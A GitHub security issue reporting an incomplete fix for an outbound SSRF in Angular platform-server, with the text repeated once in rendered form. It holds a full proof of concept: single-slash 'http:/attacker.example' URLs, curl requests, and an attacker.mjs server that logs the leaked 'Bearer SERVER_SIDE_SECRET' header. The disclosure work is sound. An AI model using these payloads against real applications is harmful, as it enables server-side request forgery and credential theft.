Which @angular/* package(s) are the source of the bug?
platform-server
Is this a regression?
Yes. The fix for GHSA-f6mr-pjwc-34m4 (3e924cc8db, cherry-picked to 22.1.4 / 21.2.22 / 20.3.30) is incomplete. Reproduced on @angular/platform-server 22.1.4, the version that advisory names as patched.
Description
Per WHATWG, http:/host/path and http:host/path resolve differently depending on whether a base URL of the same scheme is supplied:
new URL('http:/attacker.example/steal', 'http://app.example.com') // http://app.example.com/attacker.example/steal
new URL('http:/attacker.example/steal') // http://attacker.example/steal
A browser always supplies the document base, so such a URL is same-origin there:
// devtools, page served from http://127.0.0.1:4000
new Request('http:/attacker.example/steal').url // "http://127.0.0.1:4000/attacker.example/steal"
relativeUrlsTransformerInterceptorFn exists to reproduce that behaviour on the server, where fetch() has no base. It does not, for two independent reasons.
1. The interceptor skips normalization for anything with a scheme (packages/platform-server/src/http.ts):
const URL_SCHEMA_REGEXP = /^(?:[a-zA-Z][a-zA-Z0-9+\-.]*:)/;
const trimmedUrl = request.url.trim();
if (URL_SCHEMA_REGEXP.test(trimmedUrl)) {
// URLs with a schema should be left unchanged.
return next(request);
}
The raw string reaches the backend, which parses it with no base.
2. resolveUrl would make the same mistake anyway. Its fast path parses without the base (packages/platform-server/src/url.ts):
// Fast-path: if the URL is a valid, standard absolute URL, parse and return it immediately.
let resolved: URL | undefined;
try {
resolved = new URL(urlStr);
} catch {}
new URL('http:/attacker.example/steal') succeeds, so the fast path returns the cross-origin URL, and isSafeOriginChange permits it because /^https?:/i matches the raw string. Removing the passthrough alone does not fix this.
Measured against base http://127.0.0.1:4000/:
url |
resolveUrl(url, base, {allowProtocolRelative:true}) |
new URL(url, base) |
/api/data |
http://127.0.0.1:4000/api/data |
same |
//cdn.example.com/x |
http://cdn.example.com/x |
same |
https://api.example.com/x |
https://api.example.com/x |
same |
http:/localhost:9999/steal |
http://localhost:9999/steal |
http://127.0.0.1:4000/localhost:9999/steal |
http:localhost:9999/steal |
http://localhost:9999/steal |
http://127.0.0.1:4000/localhost:9999/steal |
Consequence: an application that validates a user-supplied URL as same-origin with the WHATWG parser and then passes it to HttpClient — the threat model GHSA-f6mr-pjwc-34m4 describes — issues the request to an attacker-chosen host instead, with whatever headers it attached.
Affects the default FetchBackend; not dependent on the deprecated XHR backend.
One unauthenticated GET to the SSR app is sufficient; no victim interaction is required:
GET /?u=http:/attacker.example/collect HTTP/1.1
Host: app.example.com
The server renders the route, the application's origin check passes, and the server issues GET http://attacker.example/collect carrying the application's request headers. The attacker's response body is rendered into the returned HTML.
Please provide a link to a minimal reproduction of the bug
Full reproduction below, starting from ng new. Every changed file is listed; no other changes to the scaffold.
1. Scaffold
npx @angular/cli@22 new v22ssr --ssr --defaults --skip-git --style=css --package-manager=npm
cd v22ssr
2. angular.json — set projects.v22ssr.architect.build.options.security.allowedHosts:
"security": {
"allowedHosts": ["127.0.0.1"]
}
Required, not a weakening: with the scaffold default [] every request fails host validation and falls back to client-side rendering (Header "host" with value "127.0.0.1:4000" is not allowed.), so the app never server-renders.
3. src/app/app.routes.server.ts — render per request:
import { RenderMode, ServerRoute } from '@angular/ssr';
export const serverRoutes: ServerRoute[] = [
{ path: '**', renderMode: RenderMode.Server }
];
4. src/app/app.config.ts — add provideHttpClient() (no withFetch(); FetchBackend is the v22 default):
import { ApplicationConfig, provideBrowserGlobalErrorListeners } from '@angular/core';
import { provideRouter } from '@angular/router';
import { provideHttpClient } from '@angular/common/http';
import { routes } from './app.routes';
import { provideClientHydration, withEventReplay } from '@angular/platform-browser';
export const appConfig: ApplicationConfig = {
providers: [
provideBrowserGlobalErrorListeners(),
provideRouter(routes),
provideClientHydration(withEventReplay()),
provideHttpClient(),
]
};
5. src/app/app.ts
import { Component, inject, PLATFORM_ID, PendingTasks, signal } from '@angular/core';
import { isPlatformServer, PlatformLocation } from '@angular/common';
import { HttpClient } from '@angular/common/http';
import { firstValueFrom } from 'rxjs';
@Component({
selector: 'app-root',
template: `<pre>{{ log() }}</pre>`,
})
export class App {
log = signal('');
private http = inject(HttpClient);
private loc = inject(PlatformLocation);
constructor() {
if (isPlatformServer(inject(PLATFORM_ID))) {
inject(PendingTasks).run(() => this.render());
}
}
private async render() {
const origin =
`${this.loc.protocol}//${this.loc.hostname}` + (this.loc.port ? `:${this.loc.port}` : '');
const url = new URLSearchParams(this.loc.search).get('u') ?? '/api/data';
// Application-level same-origin validation, using the WHATWG parser.
if (new URL(url, origin).origin !== origin) {
this.log.set('BLOCKED by app validation | url=' + url);
return;
}
try {
const body = await firstValueFrom(
this.http.get(url, {
responseType: 'text',
headers: { Authorization: 'Bearer SERVER_SIDE_SECRET' },
}),
);
this.log.set('ALLOWED by app validation | url=' + url + ' | response=' + body);
} catch (e: any) {
this.log.set('ALLOWED by app validation | url=' + url + ' | request failed: ' + e.message);
}
}
}
6. src/server.ts — add above app.use(express.static(...)):
app.get('/api/data', (_req, res) => {
res.type('text/plain').send('LEGITIMATE_INTERNAL_API_DATA');
});
7. attacker.mjs
import http from 'node:http';
http.createServer((req, res) => {
console.log(`[attacker.example] ${req.method} ${req.url} Authorization=${req.headers.authorization}`);
res.end('ATTACKER_CONTROLLED_RESPONSE');
}).listen(9999, '127.0.0.1', () => console.log('[attacker.example] listening on 9999'));
8. Run
npm run build
node attacker.mjs &
PORT=4000 node dist/v22ssr/server/server.mjs &
P='<pre[^>]*>[^<]*</pre>'
curl -s "http://127.0.0.1:4000/" -H "Host: 127.0.0.1:4000" | grep -o "$P"
curl -s "http://127.0.0.1:4000/?u=http%3A%2F%2Flocalhost%3A9999%2Fsteal" -H "Host: 127.0.0.1:4000" | grep -o "$P"
curl -s "http://127.0.0.1:4000/?u=http%3A%2Flocalhost%3A9999%2Fsteal-a" -H "Host: 127.0.0.1:4000" | grep -o "$P"
curl -s "http://127.0.0.1:4000/?u=http%3Alocalhost%3A9999%2Fsteal-b" -H "Host: 127.0.0.1:4000" | grep -o "$P"
Please provide the exception or error you saw
No exception; the requests succeed silently. Output of the four curl commands above:
<pre>ALLOWED by app validation | url=/api/data | response=LEGITIMATE_INTERNAL_API_DATA</pre>
<pre>BLOCKED by app validation | url=http://localhost:9999/steal</pre>
<pre>ALLOWED by app validation | url=http:/localhost:9999/steal-a | response=ATTACKER_CONTROLLED_RESPONSE</pre>
<pre>ALLOWED by app validation | url=http:localhost:9999/steal-b | response=ATTACKER_CONTROLLED_RESPONSE</pre>
attacker.mjs output:
[attacker.example] GET /steal-a Authorization=Bearer SERVER_SIDE_SECRET
[attacker.example] GET /steal-b Authorization=Bearer SERVER_SIDE_SECRET
The second request is the same destination written as a plain absolute URL: the application's validation rejects it. The third and fourth are that destination written with one slash and with none — validation passes, the request leaves the server, and the Authorization header goes with it.
Please provide the environment you discovered this bug in (run ng version)
Angular CLI : 22.1.6
Angular : 22.1.4
Node.js : 26.7.0
Package Manager : npm 11.19.0
Operating System : darwin arm64
┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package │ Installed Version │ Requested Version │
├───────────────────────────┼───────────────────┼───────────────────┤
│ @angular/build │ 22.1.6 │ ^22.1.6 │
│ @angular/cli │ 22.1.6 │ ^22.1.6 │
│ @angular/common │ 22.1.4 │ ^22.1.0 │
│ @angular/compiler │ 22.1.4 │ ^22.1.0 │
│ @angular/compiler-cli │ 22.1.4 │ ^22.1.0 │
│ @angular/core │ 22.1.4 │ ^22.1.0 │
│ @angular/forms │ 22.1.4 │ ^22.1.0 │
│ @angular/platform-browser │ 22.1.4 │ ^22.1.0 │
│ @angular/platform-server │ 22.1.4 │ ^22.1.0 │
│ @angular/router │ 22.1.4 │ ^22.1.0 │
│ @angular/ssr │ 22.1.6 │ ^22.1.6 │
│ rxjs │ 7.8.2 │ ~7.8.0 │
│ typescript │ 6.0.3 │ ~6.0.2 │
│ vitest │ 4.1.11 │ ^4.0.8 │
└───────────────────────────┴───────────────────┴───────────────────┘
Also reproduced on @angular/platform-server 21.2.22 / @angular/ssr 21.2.22. Server entry point is the unmodified scaffolded AngularNodeAppEngine.
Anything else?
Reported to the Google OSS VRP on 28 August 2026 (the channel SECURITY.md designates for Angular). It was closed as Won't Fix (Infeasible) — not severe enough for them to track as a security bug — with the response: "Please feel free to publicly disclose this issue on GitHub as a public issue." Filing here on that basis.
Independent of allowedHosts and of the request origin. allowedHosts gates only whether the request is server-rendered; it does not inspect HttpClient URLs. On the vulnerable path inject(PlatformLocation) is never reached, because the early return precedes it. Rebuilding the same reproduction with "allowedHosts": ["app.example.com"] and sending Host: app.example.com (a domain that does not resolve from the test machine):
curl -s "http://127.0.0.1:4000/" -H "Host: app.example.com" | grep -o "$P"
curl -s "http://127.0.0.1:4000/?u=http%3A%2Flocalhost%3A9999%2Fsteal-prod" -H "Host: app.example.com" | grep -o "$P"
<pre>ALLOWED by app validation | url=/api/data | request failed: Http failure response for http://app.example.com/api/data: 0 undefined</pre>
<pre>ALLOWED by app validation | url=http:/localhost:9999/steal-prod | response=ATTACKER_CONTROLLED_RESPONSE</pre>
[attacker.example] GET /steal-prod Authorization=Bearer SERVER_SIDE_SECRET
The legitimate relative request is resolved against the origin and fails, confirming the origin is genuinely http://app.example.com. The attack is unaffected.
Not a duplicate. The three existing platform-server SSRF advisories all concern the inbound direction — a request URL or Host header poisoning PlatformLocation.origin: CVE-2026-41423 (GHSA-45q2-gjvg-7973), CVE-2026-46417 (GHSA-rfh7-fxqc-q52v), CVE-2026-50168 (GHSA-xrxm-cp7j-8xf6). This concerns the outbound direction, the URL string passed to HttpClient; PlatformLocation.origin is correct throughout and allowedHosts is enforcing. The only prior advisory in that direction is GHSA-f6mr-pjwc-34m4. CVE-2026-41423 lists AngularNodeAppEngine as not affected; this issue does affect it.
No open issue or PR in angular/angular or angular/angular-cli matches, and no commit touches packages/platform-server/src/ after 3e924cc8db.
Fix. Both layers need to change. The interceptor must not skip URLs that lack an authority, and resolveUrl must resolve against the base when one is supplied rather than parsing bare. Resolving against the base already yields the correct result for every case in the table above, including genuine absolute and protocol-relative URLs.
Which @angular/* package(s) are the source of the bug?
platform-server
Is this a regression?
Yes. The fix for GHSA-f6mr-pjwc-34m4 (
3e924cc8db, cherry-picked to 22.1.4 / 21.2.22 / 20.3.30) is incomplete. Reproduced on@angular/platform-server22.1.4, the version that advisory names as patched.Description
Per WHATWG,
http:/host/pathandhttp:host/pathresolve differently depending on whether a base URL of the same scheme is supplied:A browser always supplies the document base, so such a URL is same-origin there:
relativeUrlsTransformerInterceptorFnexists to reproduce that behaviour on the server, wherefetch()has no base. It does not, for two independent reasons.1. The interceptor skips normalization for anything with a scheme (
packages/platform-server/src/http.ts):The raw string reaches the backend, which parses it with no base.
2.
resolveUrlwould make the same mistake anyway. Its fast path parses without the base (packages/platform-server/src/url.ts):new URL('http:/attacker.example/steal')succeeds, so the fast path returns the cross-origin URL, andisSafeOriginChangepermits it because/^https?:/imatches the raw string. Removing the passthrough alone does not fix this.Measured against base
http://127.0.0.1:4000/:urlresolveUrl(url, base, {allowProtocolRelative:true})new URL(url, base)/api/datahttp://127.0.0.1:4000/api/data//cdn.example.com/xhttp://cdn.example.com/xhttps://api.example.com/xhttps://api.example.com/xhttp:/localhost:9999/stealhttp://localhost:9999/stealhttp://127.0.0.1:4000/localhost:9999/stealhttp:localhost:9999/stealhttp://localhost:9999/stealhttp://127.0.0.1:4000/localhost:9999/stealConsequence: an application that validates a user-supplied URL as same-origin with the WHATWG parser and then passes it to
HttpClient— the threat model GHSA-f6mr-pjwc-34m4 describes — issues the request to an attacker-chosen host instead, with whatever headers it attached.Affects the default
FetchBackend; not dependent on the deprecated XHR backend.One unauthenticated GET to the SSR app is sufficient; no victim interaction is required:
The server renders the route, the application's origin check passes, and the server issues
GET http://attacker.example/collectcarrying the application's request headers. The attacker's response body is rendered into the returned HTML.Please provide a link to a minimal reproduction of the bug
Full reproduction below, starting from
ng new. Every changed file is listed; no other changes to the scaffold.1. Scaffold
npx @angular/cli@22 new v22ssr --ssr --defaults --skip-git --style=css --package-manager=npm cd v22ssr2.
angular.json— setprojects.v22ssr.architect.build.options.security.allowedHosts:Required, not a weakening: with the scaffold default
[]every request fails host validation and falls back to client-side rendering (Header "host" with value "127.0.0.1:4000" is not allowed.), so the app never server-renders.3.
src/app/app.routes.server.ts— render per request:4.
src/app/app.config.ts— addprovideHttpClient()(nowithFetch();FetchBackendis the v22 default):5.
src/app/app.ts6.
src/server.ts— add aboveapp.use(express.static(...)):7.
attacker.mjs8. Run
Please provide the exception or error you saw
No exception; the requests succeed silently. Output of the four
curlcommands above:attacker.mjsoutput:The second request is the same destination written as a plain absolute URL: the application's validation rejects it. The third and fourth are that destination written with one slash and with none — validation passes, the request leaves the server, and the
Authorizationheader goes with it.Please provide the environment you discovered this bug in (run
ng version)Also reproduced on
@angular/platform-server21.2.22 /@angular/ssr21.2.22. Server entry point is the unmodified scaffoldedAngularNodeAppEngine.Anything else?
Reported to the Google OSS VRP on 28 August 2026 (the channel
SECURITY.mddesignates for Angular). It was closed as Won't Fix (Infeasible) — not severe enough for them to track as a security bug — with the response: "Please feel free to publicly disclose this issue on GitHub as a public issue." Filing here on that basis.Independent of
allowedHostsand of the request origin.allowedHostsgates only whether the request is server-rendered; it does not inspectHttpClientURLs. On the vulnerable pathinject(PlatformLocation)is never reached, because the early return precedes it. Rebuilding the same reproduction with"allowedHosts": ["app.example.com"]and sendingHost: app.example.com(a domain that does not resolve from the test machine):The legitimate relative request is resolved against the origin and fails, confirming the origin is genuinely
http://app.example.com. The attack is unaffected.Not a duplicate. The three existing platform-server SSRF advisories all concern the inbound direction — a request URL or
Hostheader poisoningPlatformLocation.origin: CVE-2026-41423 (GHSA-45q2-gjvg-7973), CVE-2026-46417 (GHSA-rfh7-fxqc-q52v), CVE-2026-50168 (GHSA-xrxm-cp7j-8xf6). This concerns the outbound direction, the URL string passed toHttpClient;PlatformLocation.originis correct throughout andallowedHostsis enforcing. The only prior advisory in that direction is GHSA-f6mr-pjwc-34m4. CVE-2026-41423 listsAngularNodeAppEngineas not affected; this issue does affect it.No open issue or PR in
angular/angularorangular/angular-climatches, and no commit touchespackages/platform-server/src/after3e924cc8db.Fix. Both layers need to change. The interceptor must not skip URLs that lack an authority, and
resolveUrlmust resolve against the base when one is supplied rather than parsing bare. Resolving against the base already yields the correct result for every case in the table above, including genuine absolute and protocol-relative URLs.